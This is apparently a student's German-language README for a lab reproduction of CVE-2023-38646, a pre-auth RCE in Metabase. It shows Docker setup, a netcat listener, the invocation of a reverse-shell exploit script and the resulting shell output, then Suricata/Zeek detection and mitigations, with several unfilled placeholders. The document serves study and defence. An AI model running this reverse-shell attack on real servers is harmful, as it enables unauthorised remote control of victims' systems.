
CVE-2023-38646
Dieses Repository dokumentiert ein Proof-of-Concept (PoC) Sicherheitsforschungsprojekt, das CVE-2023-38646 analysiert, eine kritische Pre-Authentifizierungs-Remote Code Execution (RCE)-Schwachstelle in verwundbaren Versionen von Metabase.
Ziel dieses Projekts ist es, den vollständigen Lebenszyklus einer realen Schwachstelle zu demonstrieren, einschließlich:
Dieses Repository soll praktische Fähigkeiten in folgenden Bereichen demonstrieren:
CVE-2023-38646 ist eine kritische Schwachstelle, die bestimmte Versionen von Metabase betrifft, einer Open-Source-Plattform für Business Intelligence und Analysen.
Die Schwachstelle ermöglicht es einem Angreifer, eine nicht authentifizierte Remotecodeausführung zu erreichen, indem er Schwachstellen im Setup- oder Konfigurationsprozess der Anwendung ausnutzt.
Wichtige Details:
Eine erfolgreiche Ausnutzung ermöglicht es einem Angreifer:
Offizielle Referenzen:
Dieses Projekt kombiniert sowohl offensive Sicherheitswerkzeuge als auch defensive Überwachungswerkzeuge.
Platzhalter — Beschreiben Sie Ihren Laboraufbau
Beispiel:
flowchart LR
A[Angreifer] --> B[Verwundbare Metabase-Instanz]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell aufgebaut]
E --> F[Befehlsausführung auf dem Ziel]
Dieses Diagramm veranschaulicht den allgemeinen Angriffsablauf, der in diesem Projekt verwendet wird.
Docker-Installation und -Einrichtung:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Docker-Initiierung:
Eine verwundbare Metabase Enterprise-Instanz (v1.44.0) wurde mit Docker bereitgestellt.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
Dadurch wird die Metabase-Weboberfläche auf Port 3000 freigegeben, sodass auf die Setup-Seite zugegriffen werden kann.
Wenn Docker bereits läuft, führen Sie die folgenden Befehlszeilen aus, um neu zu starten:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
'Docker Einrichtung' Platzhalter
Sobald der Container läuft, wird die Metabase-Oberfläche über den Browser zugänglich.
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
Die Setup-Seite bestätigt, dass die Metabase-Instanz aktiv und zur Konfiguration bereit ist.
BurpSuite
Platzhalter für Screenshots oder Erklärung
Vor dem Starten des Exploits wird auf der Angreifer-Maschine ein Netcat-Listener gestartet, um die Reverse-Shell-Verbindung zu empfangen.
nc -lvnp 6666
Dieser Listener wartet auf eingehende Verbindungen vom exploierten Metabase-Server.
Platzhalter für Screenshots oder Erklärung
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit-Name
--rhost http://192.168.1.136:3000 \ ---> Ziel-IP-Adresse
--lhost 192.168.1.137 \ ---> IP-Adresse des Angreifers
--lport 6666 ---> Listening-Port des Angreifers
Der Payload führt einen Befehl aus, der eine Reverse Shell zurück zur Angreifer-Maschine herstellt.
Der Netcat-Listener empfängt die Verbindung und gewährt dem Angreifer Shell-Zugriff auf das System.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
Zur Bestätigung der Verbindung zum Zielgerät:
whoami
Ausgabe:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
Dieses Projekt demonstriert auch, wie Exploit-Aktivitäten mit Netzwerküberwachungswerkzeugen erkannt werden können.
Suricata (IDS) wurde verwendet, um den Netzwerkverkehr auf verdächtige Muster im Zusammenhang mit dem Exploit zu überwachen.
sudo suricata -i eth0
Platzhalter: Suricata-Alarm-Screenshot einfügen
evidence/detection/suricata_alert.png
Um Alarme in Echtzeit zu beobachten, wurden die Suricata-Logs mit folgendem Befehl überwacht:
tail -f /var/log/suricata/fast.log
Platzhalter: Suricata-Log-Screenshot einfügen
evidence/detection/suricata_log.png
Für einen passiven Ansatz wurde ein benutzerdefiniertes Benachrichtigungsskript verwendet, das Desktop-Alarme auslöst, sobald Suricata verdächtigen Verkehr erkennt.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
Bei der Ausführung des Exploits generierte Suricata Alarme, die auf verdächtige Aktivitäten im Zusammenhang mit dem Metabase-Exploit-Versuch hinweisen.
Platzhalter: Suricata-Log-Screenshot einfügen
evidence/detection/suricata_noti.png
Beispiel:
Platzhalter: Suricata-Log-Screenshot einfügen
evidence/detection/suricata_noti.png
Zusätzlich zur IDS-Überwachung wurde Zeek verwendet, um den Netzwerkverkehr zu analysieren und anomales Verhalten zu identifizieren.
Zeek wird mit diesen Befehlen gestartet, um die Erfassung und Analyse des Netzwerkverkehrs zu beginnen:
sudo /usr/local/zeek/bin/zeek -i eth0
Platzhalter: Zeek-Start-Screenshot einfügen
evidence/detection/zeek.png
Durch die Überprüfung der Verbindungslogs kann der Reverse-Shell-Verkehr auf Port 6666 beobachtet werden.
192.168.1.136 → 192.168.1.137:6666
Platzhalter: Zeek-Log-Screenshot einfügen
evidence/detection/zeek_log.png
Mehrere Abwehrstrategien können das Risiko einer Ausnutzung verringern.
| Strategie | Beschreibung |
|---|---|
| Patch-Management | Upgrade von Metabase auf eine Version, die CVE-2023-38646 patcht |
| Web Application Firewall (ModSecurity) | Filtern bösartiger HTTP-Anfragen |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
Dieses Projekt demonstriert den vollständigen Lebenszyklus der Analyse und Nachstellung einer realen kritischen Schwachstelle.
Das PoC zeigt:
Das Ziel dieses Repositorys ist es, eine technische Fallstudie bereitzustellen, die sowohl offensive als auch defensive Cybersicherheitspraktiken veranschaulicht.
Styverson Ng
Bachelor of Information Technology
Künstliche Intelligenz & Autonome Systeme
Cybersicherheit & Cyberforensik
Murdoch University
| Host Intrusion Detection (OSSEC) | Überwachen verdächtigen Systemverhaltens |
| Netzwerküberwachung (Suricata & Zeek) | Erkennen abnormaler Verkehrsmuster |